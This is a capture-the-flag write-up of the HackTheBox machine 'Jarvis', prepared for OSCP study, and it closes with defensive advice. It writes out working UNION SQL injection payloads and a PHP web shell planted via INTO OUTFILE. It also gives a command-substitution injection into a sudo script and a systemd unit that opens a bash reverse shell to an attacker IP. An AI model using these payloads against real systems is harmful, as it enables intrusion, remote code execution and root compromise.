OSCP Prep #22 HTB Write-Up Jarvis

1. Target Overview
Machine Name: Jarvis
Platform: HackTheBox
Operating System: Linux
Target IP: 10.129.229.137
Objective: Obtain initial access and escalate privileges to root
Jarvis was a box that was very simple, yet instructional. What made it so valuable was how heavily it relied on two very common attack vectors: SQL injection and command injection.
On this machine, I could not lean on automation the way I normally might. Once the obvious tooling got shut down down by filtering, I had to work through the attack chain manually and understand each step. Because of that, Jarvis ended up being one of the better boxes I have done for reinforcing core web exploitation fundamentals.
Tools Used
1. Nmap
Used for initial port scanning and service enumeration. This established the initial attack surface and guided the decision to prioritize the web applications.
2. FFUF
Used for directory enumeration on both exposed web ports. Even when it did not directly reveal the final exploit path, it helped confirm where useful functionality existed and where it did not.
3. Browser / Manual Inspection
Manual interaction with the site was critical on this box. It revealed the behavior of the cod parameter, exposed the temporary blocking mechanism, and made it possible to proceed once automation became unreliable.
4. Burp Suite
Used to manipulate requests and swap in payloads cleanly, especially when moving from simple command execution tests to the reverse shell stage.
5. SQL Injection Payloads
While not a “tool” in the same sense as software, manual SQL injection was the heart of this box. Working through the vulnerability manually was what made the exploitation successful.
6. xxd
Used to hex-encode the PHP payload before writing it to disk through the SQL injection.
- Netcat
Used as the reverse shell listener for both the initial web shell callback and the final root shell.
GTFOBins
Used to validate and safely reference the known privilege escalation technique for the SUID systemctl binary.
2. Enumeration Phase
As always, I began with an nmap scan to establish the initial attack surface. The scan revealed three open ports:
22/tcp – SSH
80/tcp – HTTP
64999/tcp – HTTP
At that point, the decision of where to focus first was straightforward. SSH usually becomes relevant only after credentials or key material are found, while web applications often expose the broadest and most immediate attack surface. Because of that, I chose to begin with the two web services on ports 80 and 64999.
To get a quick sense of what each application exposed, I used a combination of manual browsing and directory enumeration with ffuf.
The web service on port 64999 turned out to be uninteresting. Instead of exposing real application functionality, it responded with a simple message stating that I had been banned for 90 seconds. That immediately suggested some kind of rate-limiting or defensive control, but there was no real content or meaningful functionality there to investigate further. Since there was nothing useful to interact with, I set that port aside and moved my attention to the service on port 80.
The web application on port 80 was much more substantial. It appeared to be the landing page for a hotel website, with navigation links for rooms, dining, and booking-related content.
While clicking through the various room types, I noticed something important: the application changed the returned page based on a query string parameter named cod.
The URL looked like this:
http://10.129.229.137/room.php?cod=1
That parameter immediately stood out. Whenever I see a numeric parameter like that deciding which content gets loaded, one of the first questions I ask myself is whether the value is being used in a backend database query. If it is, that makes it a prime candidate for SQL injection testing.
To test that theory, I supplied a single quote in the parameter and observed the application’s behavior. Instead of returning the normal room information, the page broke and returned an error-like response with no meaningful room data. That is a classic early indicator that user input is likely being inserted into a SQL query without being handled safely.
At this stage, I had not proven the full extent of the vulnerability yet, but I had enough to justify deeper testing. The application behavior strongly suggested that the cod parameter was injectable, so I moved into exploitation with the goal of confirming SQL injection and seeing how far I could push it.
3. Exploitation Phase
Confirming and Working Through the SQL Injection
After seeing the application break when I supplied a single quote, my next instinct was to hand the parameter off to sqlmap and let it do the heavy lifting. That is usually the sensible move because sqlmap can save a lot of time when a target is straightforward. In this case, though, it failed almost immediately and returned 404 errors rather than useful enumeration results.
Instead of assuming the tool was wrong, I checked the application manually in the browser. When I revisited the page, I was no longer seeing the normal hotel content. Instead, I got a page telling me that I had been blocked for 90 seconds. That explained the sqlmap failure right away. The target had some kind of filtering or lightweight WAF behavior that was detecting repeated or suspicious requests and temporarily blocking them.
That changed the situation in an important way. At that point, the problem was no longer simply “is there SQL injection?” It became:
“Can I exploit this SQL injection manually in a way that stays below whatever filtering is blocking automation?”
This ended up being one of the most valuable parts of the box for me. Once the tool stopped working, I had to understand the vulnerability well enough to exploit it by hand.
Determining the Number of Columns
When using a SQLi approach manually, one of the first things I needed to know was how many columns were present in the original query. Without that, I would not be able to craft a valid payload so to do this I used UNION SELECT statements.
To work that out, I intentionally set the parameter to a value that did not correspond to a real room. If the original query returned no real application data, it would be easier to spot when my injected union started producing valid output.
From there, I gradually added columns to the UNION SELECT statement until the page rendered successfully. The working payload was:
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--
That told me the backend query used 7 columns.
Once I had that number, I could begin using those positions to retrieve useful information from the database.
Identifying the Database Backend
With a valid seven-column union in hand, the next question was what type of database I was dealing with. That matters because the available functions, syntax, and file interaction capabilities can vary depending on the backend.
To answer that, I replaced one of the visible positions with @@version:
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--
The application returned version information indicating that the backend was MySQL/MariaDB.
That was an important result because once I knew I was dealing with MySQL/MariaDB, I could start thinking about file-related functionality such as load_file() and file write capabilities. At that point, my mindset shifted from simply proving SQL injection to asking a more useful question:
“Can this database access help me get remote code execution on the web server?”
Checking for File Write Privileges
For a SQL injection to become code execution in this sort of scenario, I needed some way to place a server-side script somewhere the web application could execute it. On MySQL/MariaDB, that often depends on whether the database user has the FILE privilege.
To check that, I used the following payload:
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--
The query returned:
Y
A result of Y meant the database user had file privileges enabled. In practical terms, that meant I had a realistic path to writing a file onto disk.
This was another major learning moment for me on the box. It forced me to think beyond the usual “extract database contents” mindset. If the database can write to disk, and I can determine the web root, then I may be able to plant a PHP file and use the web server itself to execute commands.
Verifying File Read Access and Discovering the Web Root
Before writing anything, I needed to answer another critical question:
“Where exactly do I need to write the file so I can reach it through the browser?”
To solve that, I first tested whether I could read files from the host at all. A good file to test with is /etc/passwd, since it almost always exists on Linux systems and is readable.
I used:
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--
The contents were successfully returned, which confirmed that file reads were possible.
Once I knew that worked, I needed to identify the correct web directory. Rather than guessing blindly, I looked at the page source and the files being loaded by the application. One of the referenced files was a CSS file, which gave me a strong candidate path to test. I used:
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/var/www/html/css/style.css'),6,7;--
That request successfully returned the stylesheet content. At that point, I had effectively confirmed that the web application lived under:
/var/www/html
Now I had everything I needed for the next stage:
A confirmed SQL injection
A MySQL/MariaDB backend
File read capability
File write privilege
The likely web root
That is the exact combination needed to attempt a web shell.
Writing a PHP Web Shell with SQL Injection
With the path confirmed, the next goal was to write a file that the web server would interpret as PHP.
I chose a very simple PHP web shell:
<?php system($_GET['cmd']); ?>
Because I planned to inject this through SQL, I converted the payload into hex first. Encoding it this way makes it easier to include safely inside the query without running into quoting issues.
I generated the hex with:
echo '<?php system($_GET['cmd']); ?>' | xxd -p | tr -d '\n'
Which produced:
3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a
With that prepared, I used SQL syntax to write the file into the web root:
http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--
The logic here is worth spelling out clearly. I was abusing the database’s ability to write a file to disk and placing a PHP script directly into a directory served by Apache. If that succeeded, then requesting the file through the browser would cause the web server to execute the PHP and allow me to pass system commands through the cmd parameter.
Turning the Web Shell into Remote Code Execution
To verify that the file had been written successfully and that the server was executing it, I browsed to:
http://10.129.229.137/neo.php?cmd=id
The command executed successfully.
That was the moment the attack moved from SQL injection to full remote code execution. I was no longer limited to interacting with the database through the vulnerable parameter. I now had a server-side command execution primitive through the PHP web shell.
From there, I replaced the test command with a bash reverse shell payload, sent the request through Burp, and caught the callback on my listener.
That gave me an initial shell as:
www-data
Once connected, I upgraded the shell to a more usable interactive TTY so that local enumeration and privilege escalation would be easier to manage.
At that point, the web exploitation phase was complete. I had gone from a single injectable URL parameter to code execution on the Linux host. The next objective was to move from the web server context to a more privileged user.
4. Privilege Escalation
Escalating from www-data to pepper
Once I had an interactive shell as www-data, the first thing I needed to determine was whether this low-privileged service account had any special local rights that could be abused. On Linux, one of the quickest and most valuable checks in that situation is to inspect sudo permissions, because misconfigured sudo rules often provide a direct path to another user or even to root.
So I ran:
sudo -l
The reason for this check is simple: sudo -l tells me what commands the current user is allowed to run via sudo and under which user context those commands execute. If a low-privileged account can run a script or binary as another user without a password, that immediately becomes a strong privilege escalation candidate.
In this case, the output showed that www-data could run the following Python script as the user pepper with NOPASSWD:
/var/www/Admin-Utilities/simpler.py
That result gave me a clear next objective:
“Figure out what this script does, how it handles input, and whether I can abuse it to execute commands as pepper.”
When I reviewed the script, I found the core issue quickly. The script accepted user input that was supposed to represent an IP address, performed some blacklist-style filtering, and then passed the input into a system call:
os.system('ping ' + command)
That is the real vulnerability. The danger is not simply that the script runs ping. The danger is that it builds a shell command using unsafely handled user input and then executes that string through os.system(). Once input is evaluated by a shell, all of the shell’s parsing rules come into play.
The script’s author had attempted to block dangerous characters such as &, ;, and similar metacharacters. But blacklist filtering is weak by nature because it usually only blocks the payloads the developer thought of. Attackers only need one syntax path that was missed.
In this case, the script did not account for command substitution, which uses the syntax:
$(command)
That matters because the shell evaluates the contents of $(...) before finishing the rest of the command. So even if obvious separators like ; are blocked, command substitution may still result in arbitrary execution.
To test that, I ran the script as pepper and supplied:
$(/bin/bash)
The command looked like this:
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
When the script prompted for an IP, I entered:
$(/bin/bash)
This worked because the shell interpreted the substitution before carrying out the intended ping command. As a result, I obtained a shell as:
pepper
That completed the first privilege escalation step. I had moved from the low-privileged web account www-data to a real local user account, which significantly expanded the chances of reaching root.
Escalating from pepper to root
Now that I had a shell as pepper, the next goal was to identify any local privilege escalation path that would elevate me to root. On Linux, one of the most reliable first checks is to enumerate SUID binaries.
SUID stands for Set User ID. When a binary has the SUID bit set and is owned by root, it executes with root’s privileges regardless of which user launched it. That is not automatically vulnerable, but it does mean every SUID binary deserves close attention. If it can be manipulated in an unsafe way, it can become a direct path to full compromise.
To enumerate SUID binaries, I ran:
find / -type f -perm -4000 2>/dev/null
This command searches the filesystem for files with the SUID bit enabled while suppressing permission-denied noise. Most of the returned results were standard and expected. But one entry stood out immediately:
/bin/systemctl
That is unusual.
The reason this caught my attention right away is that systemctl is a powerful administrative tool used to manage services. Seeing it configured as SUID is a major red flag because service management is closely tied to root-level control of the system. If an unprivileged user can influence systemd service behavior through a SUID systemctl, there is a strong chance they can turn that into arbitrary command execution as root.
At that point, my reasoning became:
“This is not a standard SUID binary. Before trying random things, check whether there is already a known abuse path for it.”
For that, I referenced GTFOBins, which is one of the best resources for understanding how legitimate binaries can be abused in privilege escalation scenarios. GTFOBins confirmed that systemctl can indeed be leveraged to gain code execution as root when misconfigured this way.
The abuse path was clear: create a malicious service unit whose ExecStart launches a reverse shell, then use systemctl to link and start that service. If the SUID configuration causes systemctl to operate with elevated privileges, the service will run as root.
So I created the following service file in my home directory:
[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.15.205/9001 0>&1"
[Install]
WantedBy=multi-user.target
There are two important ideas here:
The
ExecStartline is what matters most. That is the command systemd will execute when the service runs.Because the service is being managed through a SUID
systemctl, the expectation is that it will be started with root’s privileges.
After creating the service file, I linked and started it with:
systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service
On my attacking machine, I had a listener waiting for the reverse shell. As soon as the service started, the target connected back, and I landed in a shell as:
root
That completed the final privilege escalation step. From initial web access as www-data, I had moved to pepper, and from there to full root compromise through a misconfigured SUID systemctl.
5. Lessons Learned
1. Automation is useful, but it is not understanding
This machine drove home a point I already knew intellectually but had not fully felt until here: tools are only as useful as the operator behind them. My first instinct was to point sqlmap at the target and let it do the work. The moment the filtering interfered with that, I had to fall back on my own understanding of how SQL injection works. That forced me to think through column counts, union-based extraction, version identification, file reads, and file writes step by step.
That is exactly the kind of experience that builds real skill. On a box like this, understanding the vulnerability was far more valuable than knowing the right sqlmap flags.
2. A weak defensive control can still change the attacker’s workflow
The target’s blocking behavior did not actually stop exploitation, but it did disrupt the easiest path. That is worth noting because even an imperfect defensive measure can slow an attacker down or force them into a noisier or more manual workflow.
The filter here was not strong enough to prevent exploitation, but it was strong enough to push me out of automation and into patient manual testing. That alone changed the shape of the engagement.
3. SQL injection should always be evaluated for impact beyond data theft
It is easy to think of SQL injection in terms of dumping tables, stealing hashes, or extracting application data. Jarvis was a good reminder that the impact can be much worse when the database account has additional privileges. Once I confirmed that the backend had file write privileges, the vulnerability stopped being just a database issue and became a path to full server-side code execution.
That is a much more serious outcome, and it is exactly why every SQL injection should be evaluated not just for disclosure, but for escalation potential.
4. Blacklist filtering is a bad habit
The Python script used a blacklist to try to prevent command injection, but blacklist approaches are fragile by design. They depend on the developer predicting every dangerous input pattern ahead of time. Attackers do not need every dangerous pattern to work. They only need one.
In this case, the filter missed command substitution, and that single oversight was enough to turn a helper script into a privilege escalation path. This is a perfect example of why input should be handled safely by design rather than “sanitized” through guesswork.
5. Unusual SUID binaries should always be treated as suspicious
When I enumerated SUID files, systemctl stood out immediately because it simply does not belong there in a safe configuration. That kind of anomaly is exactly what local privilege escalation often hinges on. A good reminder here is that privilege escalation is not always about finding some exotic exploit. Sometimes it is just about recognizing that a powerful administrative binary has been given the wrong permissions.
That kind of misconfiguration is quiet, simple, and devastating.
6. Defensive Insight
1. Parameterized queries would have stopped the initial compromise
The entire attack chain began because user-supplied input was not handled safely in a SQL query. If the application had used prepared statements with proper parameterization, the SQL injection would not have existed in the first place. That single development decision would have cut off the entire path before it started.
2. Database accounts should follow least privilege
Even after the injection existed, the damage became much worse because the database user had the FILE privilege. That is not something a typical web application account should have unless there is a very specific and well-justified operational need. Restricting that privilege would not have fixed the injection, but it would have greatly reduced the impact by removing the path to web shell placement.
3. Temporary blocking is not the same as robust protection
The filtering on the target interfered with automation, but it did not actually protect the application from a patient manual attacker. That is an important distinction. Security controls that only disrupt tooling but do not address the underlying flaw can create a false sense of safety. The real fix is not to make exploitation slightly more annoying. The real fix is to remove the vulnerability itself.
4. Shelling out with user input is dangerous
The privilege escalation path from www-data to pepper existed because the Python script passed user-controlled input into os.system(). That practice is fundamentally risky. If a program must execute another process, it should do so using safer APIs that avoid shell interpretation and treat arguments as structured data rather than as a command string.
The difference between secure execution and shell evaluation is often the difference between normal functionality and full compromise.
5. SUID permissions should be audited carefully
The final escalation to root was only possible because systemctl had been given SUID permissions. That should never survive a competent security review. SUID binaries deserve periodic auditing specifically because a single bad entry in that list can be enough to hand an attacker full root access.
Routine permission reviews and baseline comparisons would make this sort of misconfiguration far easier to catch before deployment.
Useful Commands
Directory Enumeration Against the Web Servers
ffuf -u http://10.129.229.137/FUZZ -w /usr/share/wordlists/dirb/common.txt
This helped me quickly identify whether the web application exposed any useful files or directories beyond the default landing pages.
Manual SQLi Column Count Test
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--
I used this to determine that the vulnerable query expected 7 columns, which was necessary before moving on to more meaningful UNION SELECT payloads.
Database Version Identification
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--
This confirmed the backend was MySQL/MariaDB, which shaped the rest of the exploitation strategy.
Checking Database File Privileges
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--
This told me whether the database account could write files to disk. A result of Y meant that writing a web shell was possible.
Reading Files Through SQLi
http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--
I used load_file() first to confirm file read access and later to validate the correct web root by reading known web assets.
Hex-Encoding the PHP Web Shell
echo '<?php system($_GET['cmd']); ?>' | xxd -p | tr -d '\n'
This converted the PHP payload into a format that was easier to place into the SQL write query.
Writing the PHP Shell to the Web Root
http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--
This was the step that turned SQL injection into remote code execution by placing a PHP shell inside the web root.
Testing Command Execution
http://10.129.229.137/neo.php?cmd=id
This verified that the file had been written correctly and that the web server was executing the PHP shell.
Enumerating SUID Binaries
find / -type f -perm -4000 2>/dev/null
This identified SUID binaries available to pepper and revealed the unusual and highly exploitable systemctl entry.
Linking and Starting the Malicious Service
systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service
These commands caused the malicious service file to be recognized and started, resulting in a root shell.





